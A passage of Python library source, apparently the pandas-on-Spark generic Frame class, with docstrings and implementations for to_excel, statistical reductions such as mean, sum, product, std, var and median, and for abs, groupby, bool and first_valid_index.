Notes\n -----\n Once a workbook has been saved it is not possible write further data\n without rewriting the whole workbook.\n\n See Also\n --------\n read_excel : Read Excel file.\n\n Examples\n --------\n Create, write to and save a workbook:\n\n >>> df1 = ps.DataFrame([['a', 'b'], ['c', 'd']],\n ... index=['row 1', 'row 2'],\n ... columns=['col 1', 'col 2'])\n >>> df1.to_excel(\"output.xlsx\") # doctest: +SKIP\n\n To specify the sheet name:\n\n >>> df1.to_excel(\"output.xlsx\") # doctest: +SKIP\n >>> df1.to_excel(\"output.xlsx\",\n ... sheet_name='Sheet_name_1') # doctest: +SKIP\n\n If you wish to write to more than one sheet in the workbook, it is\n necessary to specify an ExcelWriter object:\n\n >>> with pd.ExcelWriter('output.xlsx') as writer: # doctest: +SKIP\n ... df1.to_excel(writer, sheet_name='Sheet_name_1')\n ... df2.to_excel(writer, sheet_name='Sheet_name_2')\n\n To set the library that is used to write the Excel file,\n you can pass the `engine` keyword (the default engine is\n automatically chosen depending on the file extension):\n\n >>> df1.to_excel('output1.xlsx', engine='xlsxwriter') # doctest: +SKIP\n \"\"\"\n # Make sure locals() call is at the top of the function so we don't capture local variables.\n args = locals()\n psdf = self\n\n if isinstance(self, ps.DataFrame):\n f = pd.DataFrame.to_excel\n elif isinstance(self, ps.Series):\n f = pd.Series.to_excel\n else:\n raise TypeError(\n \"Constructor expects DataFrame or Series; however, \" \"got [%s]\" % (self,)\n )\n return validate_arguments_and_invoke_function(\n psdf._to_internal_pandas(), self.to_excel, f, args\n )\n\n def mean(\n self, axis: Union[int, str] = None, numeric_only: bool = None\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return the mean of the values.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n numeric_only : bool, default None\n Include only float, int, boolean columns. False is not supported. This parameter\n is mainly for pandas compatibility.\n\n Returns\n -------\n mean : scalar for a Series, and a Series for a DataFrame.\n\n Examples\n --------\n\n >>> df = ps.DataFrame({'a': [1, 2, 3, np.nan], 'b': [0.1, 0.2, 0.3, np.nan]},\n ... columns=['a', 'b'])\n\n On a DataFrame:\n\n >>> df.mean()\n a 2.0\n b 0.2\n dtype: float64\n\n >>> df.mean(axis=1)\n 0 0.55\n 1 1.10\n 2 1.65\n 3 NaN\n dtype: float64\n\n On a Series:\n\n >>> df['a'].mean()\n 2.0\n \"\"\"\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n\n def mean(spark_column: Column, spark_type: DataType) -> Column:\n if isinstance(spark_type, BooleanType):\n spark_column = spark_column.cast(LongType())\n elif not isinstance(spark_type, NumericType):\n raise TypeError(\n \"Could not convert {} ({}) to numeric\".format(\n spark_type_to_pandas_dtype(spark_type), spark_type.simpleString()\n )\n )\n return F.mean(spark_column)\n\n return self._reduce_for_stat_function(\n mean, name=\"mean\", axis=axis, numeric_only=numeric_only\n )\n\n def sum(\n self, axis: Union[int, str] = None, numeric_only: bool = None, min_count: int = 0\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return the sum of the values.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n numeric_only : bool, default None\n Include only float, int, boolean columns. False is not supported. This parameter\n is mainly for pandas compatibility.\n min_count : int, default 0\n The required number of valid values to perform the operation. If fewer than\n ``min_count`` non-NA values are present the result will be NA.\n\n Returns\n -------\n sum : scalar for a Series, and a Series for a DataFrame.\n\n Examples\n --------\n\n >>> df = ps.DataFrame({'a': [1, 2, 3, np.nan], 'b': [0.1, np.nan, 0.3, np.nan]},\n ... columns=['a', 'b'])\n\n On a DataFrame:\n\n >>> df.sum()\n a 6.0\n b 0.4\n dtype: float64\n\n >>> df.sum(axis=1)\n 0 1.1\n 1 2.0\n 2 3.3\n 3 0.0\n dtype: float64\n\n >>> df.sum(min_count=3)\n a 6.0\n b NaN\n dtype: float64\n\n >>> df.sum(axis=1, min_count=1)\n 0 1.1\n 1 2.0\n 2 3.3\n 3 NaN\n dtype: float64\n\n On a Series:\n\n >>> df['a'].sum()\n 6.0\n\n >>> df['a'].sum(min_count=3)\n 6.0\n >>> df['b'].sum(min_count=3)\n nan\n \"\"\"\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n elif numeric_only is True and axis == 1:\n numeric_only = None\n\n def sum(spark_column: Column, spark_type: DataType) -> Column:\n if isinstance(spark_type, BooleanType):\n spark_column = spark_column.cast(LongType())\n elif not isinstance(spark_type, NumericType):\n raise TypeError(\n \"Could not convert {} ({}) to numeric\".format(\n spark_type_to_pandas_dtype(spark_type), spark_type.simpleString()\n )\n )\n return F.coalesce(F.sum(spark_column), F.lit(0))\n\n return self._reduce_for_stat_function(\n sum, name=\"sum\", axis=axis, numeric_only=numeric_only, min_count=min_count\n )\n\n def product(\n self, axis: Union[int, str] = None, numeric_only: bool = None, min_count: int = 0\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return the product of the values.\n\n .. note:: unlike pandas', pandas-on-Spark's emulates product by ``exp(sum(log(...)))``\n trick. Therefore, it only works for positive numbers.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n numeric_only : bool, default None\n Include only float, int, boolean columns. False is not supported. This parameter\n is mainly for pandas compatibility.\n min_count : int, default 0\n The required number of valid values to perform the operation. If fewer than\n ``min_count`` non-NA values are present the result will be NA.\n\n Examples\n --------\n On a DataFrame:\n\n Non-numeric type column is not included to the result.\n\n >>> psdf = ps.DataFrame({'A': [1, 2, 3, 4, 5],\n ... 'B': [10, 20, 30, 40, 50],\n ... 'C': ['a', 'b', 'c', 'd', 'e']})\n >>> psdf\n A B C\n 0 1 10 a\n 1 2 20 b\n 2 3 30 c\n 3 4 40 d\n 4 5 50 e\n\n >>> psdf.prod()\n A 120\n B 12000000\n dtype: int64\n\n If there is no numeric type columns, returns empty Series.\n\n >>> ps.DataFrame({\"key\": ['a', 'b', 'c'], \"val\": ['x', 'y', 'z']}).prod()\n Series([], dtype: float64)\n\n On a Series:\n\n >>> ps.Series([1, 2, 3, 4, 5]).prod()\n 120\n\n By default, the product of an empty or all-NA Series is ``1``\n\n >>> ps.Series([]).prod()\n 1.0\n\n This can be controlled with the ``min_count`` parameter\n\n >>> ps.Series([]).prod(min_count=1)\n nan\n \"\"\"\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n elif numeric_only is True and axis == 1:\n numeric_only = None\n\n def prod(spark_column: Column, spark_type: DataType) -> Column:\n if isinstance(spark_type, BooleanType):\n scol = F.min(F.coalesce(spark_column, F.lit(True))).cast(LongType())\n elif isinstance(spark_type, NumericType):\n num_zeros = F.sum(F.when(spark_column == 0, 1).otherwise(0))\n sign = F.when(\n F.sum(F.when(spark_column < 0, 1).otherwise(0)) % 2 == 0, 1\n ).otherwise(-1)\n\n scol = F.when(num_zeros > 0, 0).otherwise(\n sign * F.exp(F.sum(F.log(F.abs(spark_column))))\n )\n\n if isinstance(spark_type, IntegralType):\n scol = F.round(scol).cast(LongType())\n else:\n raise TypeError(\n \"Could not convert {} ({}) to numeric\".format(\n spark_type_to_pandas_dtype(spark_type), spark_type.simpleString()\n )\n )\n\n return F.coalesce(scol, F.lit(1))\n\n return self._reduce_for_stat_function(\n prod, name=\"prod\", axis=axis, numeric_only=numeric_only, min_count=min_count\n )\n\n prod = product\n\n def skew(\n self, axis: Union[int, str] = None, numeric_only: bool = None\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return unbiased skew normalized by N-1.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n numeric_only : bool, default None\n Include only float, int, boolean columns. False is not supported. This parameter\n is mainly for pandas compatibility.\n\n Returns\n -------\n skew : scalar for a Series, and a Series for a DataFrame.\n\n Examples\n --------\n\n >>> df = ps.DataFrame({'a': [1, 2, 3, np.nan], 'b': [0.1, 0.2, 0.3, np.nan]},\n ... columns=['a', 'b'])\n\n On a DataFrame:\n\n >>> df.skew() # doctest: +SKIP\n a 0.000000e+00\n b -3.319678e-16\n dtype: float64\n\n On a Series:\n\n >>> df['a'].skew()\n 0.0\n \"\"\"\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n\n def skew(spark_column: Column, spark_type: DataType) -> Column:\n if isinstance(spark_type, BooleanType):\n spark_column = spark_column.cast(LongType())\n elif not isinstance(spark_type, NumericType):\n raise TypeError(\n \"Could not convert {} ({}) to numeric\".format(\n spark_type_to_pandas_dtype(spark_type), spark_type.simpleString()\n )\n )\n return F.skewness(spark_column)\n\n return self._reduce_for_stat_function(\n skew, name=\"skew\", axis=axis, numeric_only=numeric_only\n )\n\n def kurtosis(\n self, axis: Union[int, str] = None, numeric_only: bool = None\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return unbiased kurtosis using Fisher’s definition of kurtosis (kurtosis of normal == 0.0).\n Normalized by N-1.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n numeric_only : bool, default None\n Include only float, int, boolean columns. False is not supported. This parameter\n is mainly for pandas compatibility.\n\n Returns\n -------\n kurt : scalar for a Series, and a Series for a DataFrame.\n\n Examples\n --------\n\n >>> df = ps.DataFrame({'a': [1, 2, 3, np.nan], 'b': [0.1, 0.2, 0.3, np.nan]},\n ... columns=['a', 'b'])\n\n On a DataFrame:\n\n >>> df.kurtosis()\n a -1.5\n b -1.5\n dtype: float64\n\n On a Series:\n\n >>> df['a'].kurtosis()\n -1.5\n \"\"\"\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n\n def kurtosis(spark_column: Column, spark_type: DataType) -> Column:\n if isinstance(spark_type, BooleanType):\n spark_column = spark_column.cast(LongType())\n elif not isinstance(spark_type, NumericType):\n raise TypeError(\n \"Could not convert {} ({}) to numeric\".format(\n spark_type_to_pandas_dtype(spark_type), spark_type.simpleString()\n )\n )\n return F.kurtosis(spark_column)\n\n return self._reduce_for_stat_function(\n kurtosis, name=\"kurtosis\", axis=axis, numeric_only=numeric_only\n )\n\n kurt = kurtosis\n\n def min(\n self, axis: Union[int, str] = None, numeric_only: bool = None\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return the minimum of the values.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n numeric_only : bool, default None\n If True, include only float, int, boolean columns. This parameter is mainly for\n pandas compatibility. False is supported; however, the columns should\n be all numeric or all non-numeric.\n\n Returns\n -------\n min : scalar for a Series, and a Series for a DataFrame.\n\n Examples\n --------\n\n >>> df = ps.DataFrame({'a': [1, 2, 3, np.nan], 'b': [0.1, 0.2, 0.3, np.nan]},\n ... columns=['a', 'b'])\n\n On a DataFrame:\n\n >>> df.min()\n a 1.0\n b 0.1\n dtype: float64\n\n >>> df.min(axis=1)\n 0 0.1\n 1 0.2\n 2 0.3\n 3 NaN\n dtype: float64\n\n On a Series:\n\n >>> df['a'].min()\n 1.0\n \"\"\"\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n elif numeric_only is True and axis == 1:\n numeric_only = None\n\n return self._reduce_for_stat_function(\n F.min, name=\"min\", axis=axis, numeric_only=numeric_only\n )\n\n def max(\n self, axis: Union[int, str] = None, numeric_only: bool = None\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return the maximum of the values.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n numeric_only : bool, default None\n If True, include only float, int, boolean columns. This parameter is mainly for\n pandas compatibility. False is supported; however, the columns should\n be all numeric or all non-numeric.\n\n Returns\n -------\n max : scalar for a Series, and a Series for a DataFrame.\n\n Examples\n --------\n\n >>> df = ps.DataFrame({'a': [1, 2, 3, np.nan], 'b': [0.1, 0.2, 0.3, np.nan]},\n ... columns=['a', 'b'])\n\n On a DataFrame:\n\n >>> df.max()\n a 3.0\n b 0.3\n dtype: float64\n\n >>> df.max(axis=1)\n 0 1.0\n 1 2.0\n 2 3.0\n 3 NaN\n dtype: float64\n\n On a Series:\n\n >>> df['a'].max()\n 3.0\n \"\"\"\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n elif numeric_only is True and axis == 1:\n numeric_only = None\n\n return self._reduce_for_stat_function(\n F.max, name=\"max\", axis=axis, numeric_only=numeric_only\n )\n\n def count(\n self, axis: Union[int, str] = None, numeric_only: bool = False\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Count non-NA cells for each column.\n\n The values `None`, `NaN` are considered NA.\n\n Parameters\n ----------\n axis : {0 or ‘index’, 1 or ‘columns’}, default 0\n If 0 or ‘index’ counts are generated for each column. If 1 or ‘columns’ counts are\n generated for each row.\n numeric_only : bool, default False\n If True, include only float, int, boolean columns. This parameter is mainly for\n pandas compatibility.\n\n Returns\n -------\n max : scalar for a Series, and a Series for a DataFrame.\n\n See Also\n --------\n DataFrame.shape: Number of DataFrame rows and columns (including NA\n elements).\n DataFrame.isna: Boolean same-sized DataFrame showing places of NA\n elements.\n\n Examples\n --------\n Constructing DataFrame from a dictionary:\n\n >>> df = ps.DataFrame({\"Person\":\n ... [\"John\", \"Myla\", \"Lewis\", \"John\", \"Myla\"],\n ... \"Age\": [24., np.nan, 21., 33, 26],\n ... \"Single\": [False, True, True, True, False]},\n ... columns=[\"Person\", \"Age\", \"Single\"])\n >>> df\n Person Age Single\n 0 John 24.0 False\n 1 Myla NaN True\n 2 Lewis 21.0 True\n 3 John 33.0 True\n 4 Myla 26.0 False\n\n Notice the uncounted NA values:\n\n >>> df.count()\n Person 5\n Age 4\n Single 5\n dtype: int64\n\n >>> df.count(axis=1)\n 0 3\n 1 2\n 2 3\n 3 3\n 4 3\n dtype: int64\n\n On a Series:\n\n >>> df['Person'].count()\n 5\n\n >>> df['Age'].count()\n 4\n \"\"\"\n\n return self._reduce_for_stat_function(\n Frame._count_expr, name=\"count\", axis=axis, numeric_only=numeric_only\n )\n\n def std(\n self, axis: Union[int, str] = None, ddof: int = 1, numeric_only: bool = None\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return sample standard deviation.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n ddof : int, default 1\n Delta Degrees of Freedom. The divisor used in calculations is N - ddof,\n where N represents the number of elements.\n numeric_only : bool, default None\n Include only float, int, boolean columns. False is not supported. This parameter\n is mainly for pandas compatibility.\n\n Returns\n -------\n std : scalar for a Series, and a Series for a DataFrame.\n\n Examples\n --------\n\n >>> df = ps.DataFrame({'a': [1, 2, 3, np.nan], 'b': [0.1, 0.2, 0.3, np.nan]},\n ... columns=['a', 'b'])\n\n On a DataFrame:\n\n >>> df.std()\n a 1.0\n b 0.1\n dtype: float64\n\n >>> df.std(axis=1)\n 0 0.636396\n 1 1.272792\n 2 1.909188\n 3 NaN\n dtype: float64\n\n >>> df.std(ddof=0)\n a 0.816497\n b 0.081650\n dtype: float64\n\n On a Series:\n\n >>> df['a'].std()\n 1.0\n\n >>> df['a'].std(ddof=0)\n 0.816496580927726\n \"\"\"\n assert ddof in (0, 1)\n\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n\n def std(spark_column: Column, spark_type: DataType) -> Column:\n if isinstance(spark_type, BooleanType):\n spark_column = spark_column.cast(LongType())\n elif not isinstance(spark_type, NumericType):\n raise TypeError(\n \"Could not convert {} ({}) to numeric\".format(\n spark_type_to_pandas_dtype(spark_type), spark_type.simpleString()\n )\n )\n if ddof == 0:\n return F.stddev_pop(spark_column)\n else:\n return F.stddev_samp(spark_column)\n\n return self._reduce_for_stat_function(\n std, name=\"std\", axis=axis, numeric_only=numeric_only, ddof=ddof\n )\n\n def var(\n self, axis: Union[int, str] = None, ddof: int = 1, numeric_only: bool = None\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return unbiased variance.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n ddof : int, default 1\n Delta Degrees of Freedom. The divisor used in calculations is N - ddof,\n where N represents the number of elements.\n numeric_only : bool, default None\n Include only float, int, boolean columns. False is not supported. This parameter\n is mainly for pandas compatibility.\n\n Returns\n -------\n var : scalar for a Series, and a Series for a DataFrame.\n\n Examples\n --------\n\n >>> df = ps.DataFrame({'a': [1, 2, 3, np.nan], 'b': [0.1, 0.2, 0.3, np.nan]},\n ... columns=['a', 'b'])\n\n On a DataFrame:\n\n >>> df.var()\n a 1.00\n b 0.01\n dtype: float64\n\n >>> df.var(axis=1)\n 0 0.405\n 1 1.620\n 2 3.645\n 3 NaN\n dtype: float64\n\n >>> df.var(ddof=0)\n a 0.666667\n b 0.006667\n dtype: float64\n\n On a Series:\n\n >>> df['a'].var()\n 1.0\n\n >>> df['a'].var(ddof=0)\n 0.6666666666666666\n \"\"\"\n assert ddof in (0, 1)\n\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n\n def var(spark_column: Column, spark_type: DataType) -> Column:\n if isinstance(spark_type, BooleanType):\n spark_column = spark_column.cast(LongType())\n elif not isinstance(spark_type, NumericType):\n raise TypeError(\n \"Could not convert {} ({}) to numeric\".format(\n spark_type_to_pandas_dtype(spark_type), spark_type.simpleString()\n )\n )\n if ddof == 0:\n return F.var_pop(spark_column)\n else:\n return F.var_samp(spark_column)\n\n return self._reduce_for_stat_function(\n var, name=\"var\", axis=axis, numeric_only=numeric_only, ddof=ddof\n )\n\n def median(\n self, axis: Union[int, str] = None, numeric_only: bool = None, accuracy: int = 10000\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return the median of the values for the requested axis.\n\n .. note:: Unlike pandas', the median in pandas-on-Spark is an approximated median based upon\n approximate percentile computation because computing median across a large dataset\n is extremely expensive.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n numeric_only : bool, default None\n Include only float, int, boolean columns. False is not supported. This parameter\n is mainly for pandas compatibility.\n accuracy : int, optional\n Default accuracy of approximation. Larger value means better accuracy.\n The relative error can be deduced by 1.0 / accuracy.\n\n Returns\n -------\n median : scalar or Series\n\n Examples\n --------\n >>> df = ps.DataFrame({\n ... 'a': [24., 21., 25., 33., 26.], 'b': [1, 2, 3, 4, 5]}, columns=['a', 'b'])\n >>> df\n a b\n 0 24.0 1\n 1 21.0 2\n 2 25.0 3\n 3 33.0 4\n 4 26.0 5\n\n On a DataFrame:\n\n >>> df.median()\n a 25.0\n b 3.0\n dtype: float64\n\n On a Series:\n\n >>> df['a'].median()\n 25.0\n >>> (df['b'] + 100).median()\n 103.0\n\n For multi-index columns,\n\n >>> df.columns = pd.MultiIndex.from_tuples([('x', 'a'), ('y', 'b')])\n >>> df\n x y\n a b\n 0 24.0 1\n 1 21.0 2\n 2 25.0 3\n 3 33.0 4\n 4 26.0 5\n\n On a DataFrame:\n\n >>> df.median()\n x a 25.0\n y b 3.0\n dtype: float64\n\n >>> df.median(axis=1)\n 0 12.5\n 1 11.5\n 2 14.0\n 3 18.5\n 4 15.5\n dtype: float64\n\n On a Series:\n\n >>> df[('x', 'a')].median()\n 25.0\n >>> (df[('y', 'b')] + 100).median()\n 103.0\n \"\"\"\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n\n if not isinstance(accuracy, int):\n raise TypeError(\n \"accuracy must be an integer; however, got [%s]\" % type(accuracy).__name__\n )\n\n def median(spark_column: Column, spark_type: DataType) -> Column:\n if isinstance(spark_type, (BooleanType, NumericType)):\n return F.percentile_approx(spark_column.cast(DoubleType()), 0.5, accuracy)\n else:\n raise TypeError(\n \"Could not convert {} ({}) to numeric\".format(\n spark_type_to_pandas_dtype(spark_type), spark_type.simpleString()\n )\n )\n\n return self._reduce_for_stat_function(\n median, name=\"median\", numeric_only=numeric_only, axis=axis\n )\n\n def sem(\n self, axis: Union[int, str] = None, ddof: int = 1, numeric_only: bool = None\n ) -> Union[Scalar, \"Series\"]:\n \"\"\"\n Return unbiased standard error of the mean over requested axis.\n\n Parameters\n ----------\n axis : {index (0), columns (1)}\n Axis for the function to be applied on.\n ddof : int, default 1\n Delta Degrees of Freedom. The divisor used in calculations is N - ddof,\n where N represents the number of elements.\n numeric_only : bool, default None\n Include only float, int, boolean columns. False is not supported. This parameter\n is mainly for pandas compatibility.\n\n Returns\n -------\n scalar(for Series) or Series(for DataFrame)\n\n Examples\n --------\n >>> psdf = ps.DataFrame({\"a\": [1, 2, 3], \"b\": [4, 5, 6]})\n >>> psdf\n a b\n 0 1 4\n 1 2 5\n 2 3 6\n\n >>> psdf.sem()\n a 0.57735\n b 0.57735\n dtype: float64\n\n >>> psdf.sem(ddof=0)\n a 0.471405\n b 0.471405\n dtype: float64\n\n >>> psdf.sem(axis=1)\n 0 1.5\n 1 1.5\n 2 1.5\n dtype: float64\n\n Support for Series\n\n >>> psser = psdf.a\n >>> psser\n 0 1\n 1 2\n 2 3\n Name: a, dtype: int64\n\n >>> psser.sem()\n 0.5773502691896258\n\n >>> psser.sem(ddof=0)\n 0.47140452079103173\n \"\"\"\n assert ddof in (0, 1)\n\n axis = validate_axis(axis)\n\n if numeric_only is None and axis == 0:\n numeric_only = True\n\n def std(spark_column: Column, spark_type: DataType) -> Column:\n if isinstance(spark_type, BooleanType):\n spark_column = spark_column.cast(LongType())\n elif not isinstance(spark_type, NumericType):\n raise TypeError(\n \"Could not convert {} ({}) to numeric\".format(\n spark_type_to_pandas_dtype(spark_type), spark_type.simpleString()\n )\n )\n if ddof == 0:\n return F.stddev_pop(spark_column)\n else:\n return F.stddev_samp(spark_column)\n\n def sem(spark_column: Column, spark_type: DataType) -> Column:\n return std(spark_column, spark_type) / pow(\n Frame._count_expr(spark_column, spark_type), 0.5\n )\n\n return self._reduce_for_stat_function(\n sem, name=\"sem\", numeric_only=numeric_only, axis=axis, ddof=ddof\n )\n\n @property\n def size(self) -> int:\n \"\"\"\n Return an int representing the number of elements in this object.\n\n Return the number of rows if Series. Otherwise return the number of\n rows times number of columns if DataFrame.\n\n Examples\n --------\n >>> s = ps.Series({'a': 1, 'b': 2, 'c': None})\n >>> s.size\n 3\n\n >>> df = ps.DataFrame({'col1': [1, 2, None], 'col2': [3, 4, None]})\n >>> df.size\n 6\n\n >>> df = ps.DataFrame(index=[1, 2, None])\n >>> df.size\n 0\n \"\"\"\n num_columns = len(self._internal.data_spark_columns)\n if num_columns == 0:\n return 0\n else:\n return len(self) * num_columns # type: ignore\n\n def abs(self: T_Frame) -> T_Frame:\n \"\"\"\n Return a Series/DataFrame with absolute numeric value of each element.\n\n Returns\n -------\n abs : Series/DataFrame containing the absolute value of each element.\n\n Examples\n --------\n\n Absolute numeric values in a Series.\n\n >>> s = ps.Series([-1.10, 2, -3.33, 4])\n >>> s.abs()\n 0 1.10\n 1 2.00\n 2 3.33\n 3 4.00\n dtype: float64\n\n Absolute numeric values in a DataFrame.\n\n >>> df = ps.DataFrame({\n ... 'a': [4, 5, 6, 7],\n ... 'b': [10, 20, 30, 40],\n ... 'c': [100, 50, -30, -50]\n ... },\n ... columns=['a', 'b', 'c'])\n >>> df.abs()\n a b c\n 0 4 10 100\n 1 5 20 50\n 2 6 30 30\n 3 7 40 50\n \"\"\"\n\n def abs(psser: \"Series\") -> \"Series\":\n if isinstance(psser.spark.data_type, BooleanType):\n return psser\n elif isinstance(psser.spark.data_type, NumericType):\n return psser.spark.transform(F.abs)\n else:\n raise TypeError(\n \"bad operand type for abs(): {} ({})\".format(\n spark_type_to_pandas_dtype(psser.spark.data_type),\n psser.spark.data_type.simpleString(),\n )\n )\n\n return self._apply_series_op(abs)\n\n # TODO: by argument only support the grouping name and as_index only for now. Documentation\n # should be updated when it's supported.\n def groupby(\n self: T_Frame,\n by: Union[Any, Tuple, \"Series\", List[Union[Any, Tuple, \"Series\"]]],\n axis: Union[int, str] = 0,\n as_index: bool = True,\n dropna: bool = True,\n ) -> \"GroupBy[T_Frame]\":\n \"\"\"\n Group DataFrame or Series using a Series of columns.\n\n A groupby operation involves some combination of splitting the\n object, applying a function, and combining the results. This can be\n used to group large amounts of data and compute operations on these\n groups.\n\n Parameters\n ----------\n by : Series, label, or list of labels\n Used to determine the groups for the groupby.\n If Series is passed, the Series or dict VALUES\n will be used to determine the groups. A label or list of\n labels may be passed to group by the columns in ``self``.\n axis : int, default 0 or 'index'\n Can only be set to 0 at the moment.\n as_index : bool, default True\n For aggregated output, return object with group labels as the\n index. Only relevant for DataFrame input. as_index=False is\n effectively \"SQL-style\" grouped output.\n dropna : bool, default True\n If True, and if group keys contain NA values,\n NA values together with row/column will be dropped.\n If False, NA values will also be treated as the key in groups.\n\n Returns\n -------\n DataFrameGroupBy or SeriesGroupBy\n Depends on the calling object and returns groupby object that\n contains information about the groups.\n\n See Also\n --------\n pyspark.pandas.groupby.GroupBy\n\n Examples\n --------\n >>> df = ps.DataFrame({'Animal': ['Falcon', 'Falcon',\n ... 'Parrot', 'Parrot'],\n ... 'Max Speed': [380., 370., 24., 26.]},\n ... columns=['Animal', 'Max Speed'])\n >>> df\n Animal Max Speed\n 0 Falcon 380.0\n 1 Falcon 370.0\n 2 Parrot 24.0\n 3 Parrot 26.0\n\n >>> df.groupby(['Animal']).mean().sort_index() # doctest: +NORMALIZE_WHITESPACE\n Max Speed\n Animal\n Falcon 375.0\n Parrot 25.0\n\n >>> df.groupby(['Animal'], as_index=False).mean().sort_values('Animal')\n ... # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE\n Animal Max Speed\n ...Falcon 375.0\n ...Parrot 25.0\n\n We can also choose to include NA in group keys or not by setting dropna parameter,\n the default setting is True:\n\n >>> l = [[1, 2, 3], [1, None, 4], [2, 1, 3], [1, 2, 2]]\n >>> df = ps.DataFrame(l, columns=[\"a\", \"b\", \"c\"])\n >>> df.groupby(by=[\"b\"]).sum().sort_index() # doctest: +NORMALIZE_WHITESPACE\n a c\n b\n 1.0 2 3\n 2.0 2 5\n\n >>> df.groupby(by=[\"b\"], dropna=False).sum().sort_index() # doctest: +NORMALIZE_WHITESPACE\n a c\n b\n 1.0 2 3\n 2.0 2 5\n NaN 1 4\n \"\"\"\n if isinstance(by, ps.DataFrame):\n raise ValueError(\"Grouper for '{}' not 1-dimensional\".format(type(by).__name__))\n elif isinstance(by, ps.Series):\n new_by = [by] # type: List[Union[Tuple, ps.Series]]\n elif is_name_like_tuple(by):\n if isinstance(self, ps.Series):\n raise KeyError(by)\n new_by = [cast(Tuple, by)]\n elif is_name_like_value(by):\n if isinstance(self, ps.Series):\n raise KeyError(by)\n new_by = [(by,)]\n elif is_list_like(by):\n new_by = []\n for key in by:\n if isinstance(key, ps.DataFrame):\n raise ValueError(\n \"Grouper for '{}' not 1-dimensional\".format(type(key).__name__)\n )\n elif isinstance(key, ps.Series):\n new_by.append(key)\n elif is_name_like_tuple(key):\n if isinstance(self, ps.Series):\n raise KeyError(key)\n new_by.append(key)\n elif is_name_like_value(key):\n if isinstance(self, ps.Series):\n raise KeyError(key)\n new_by.append((key,))\n else:\n raise ValueError(\n \"Grouper for '{}' not 1-dimensional\".format(type(key).__name__)\n )\n else:\n raise ValueError(\"Grouper for '{}' not 1-dimensional\".format(type(by).__name__))\n if not len(new_by):\n raise ValueError(\"No group keys passed!\")\n axis = validate_axis(axis)\n if axis != 0:\n raise NotImplementedError('axis should be either 0 or \"index\" currently.')\n\n return self._build_groupby(by=new_by, as_index=as_index, dropna=dropna)\n\n @abstractmethod\n def _build_groupby(\n self: T_Frame, by: List[Union[\"Series\", Tuple]], as_index: bool, dropna: bool\n ) -> \"GroupBy[T_Frame]\":\n pass\n\n def bool(self) -> bool:\n \"\"\"\n Return the bool of a single element in the current object.\n\n This must be a boolean scalar value, either True or False. Raise a ValueError if\n the object does not have exactly 1 element, or that element is not boolean\n\n Returns\n --------\n bool\n\n Examples\n --------\n >>> ps.DataFrame({'a': [True]}).bool()\n True\n\n >>> ps.Series([False]).bool()\n False\n\n If there are non-boolean or multiple values exist, it raises an exception in all\n cases as below.\n\n >>> ps.DataFrame({'a': ['a']}).bool()\n Traceback (most recent call last):\n ...\n ValueError: bool cannot act on a non-boolean single element DataFrame\n\n >>> ps.DataFrame({'a': [True], 'b': [False]}).bool() # doctest: +NORMALIZE_WHITESPACE\n Traceback (most recent call last):\n ...\n ValueError: The truth value of a DataFrame is ambiguous. Use a.empty, a.bool(),\n a.item(), a.any() or a.all().\n\n >>> ps.Series([1]).bool()\n Traceback (most recent call last):\n ...\n ValueError: bool cannot act on a non-boolean single element DataFrame\n \"\"\"\n if isinstance(self, ps.DataFrame):\n df = self\n elif isinstance(self, ps.Series):\n df = self.to_dataframe()\n else:\n raise TypeError(\"bool() expects DataFrame or Series; however, \" \"got [%s]\" % (self,))\n return df.head(2)._to_internal_pandas().bool()\n\n def first_valid_index(self) -> Optional[Union[Scalar, Tuple[Scalar, ...]]]:\n \"\"\"\n Retrieves the index of the first valid value.\n\n Returns\n -------\n scalar, tuple, or None\n\n Examples\n --------\n\n Support for DataFrame\n\n >>> psdf = ps.DataFrame({'a': [None, 2, 3, 2],\n ... 'b': [None, 2.0, 3.0, 1.0],\n ... 'c': [None, 200, 400, 200]},\n ... index=['Q', 'W', 'E', 'R'])\n >>> psdf\n a b c\n Q NaN NaN NaN\n W 2.0 2.0 200.0\n E 3.0 3.0 400.0\n R 2.0 1.0 200.0\n\n >>> psdf.first_valid_index()\n 'W'\n\n Support for MultiIndex columns\n\n >>> psdf.columns = pd.MultiIndex.from_tuples([('a', 'x'), ('b', 'y'), ('c', 'z')])\n >>> psdf\n a b c\n x y z\n Q NaN NaN NaN\n W 2.0 2.0 200.0\n E 3.0 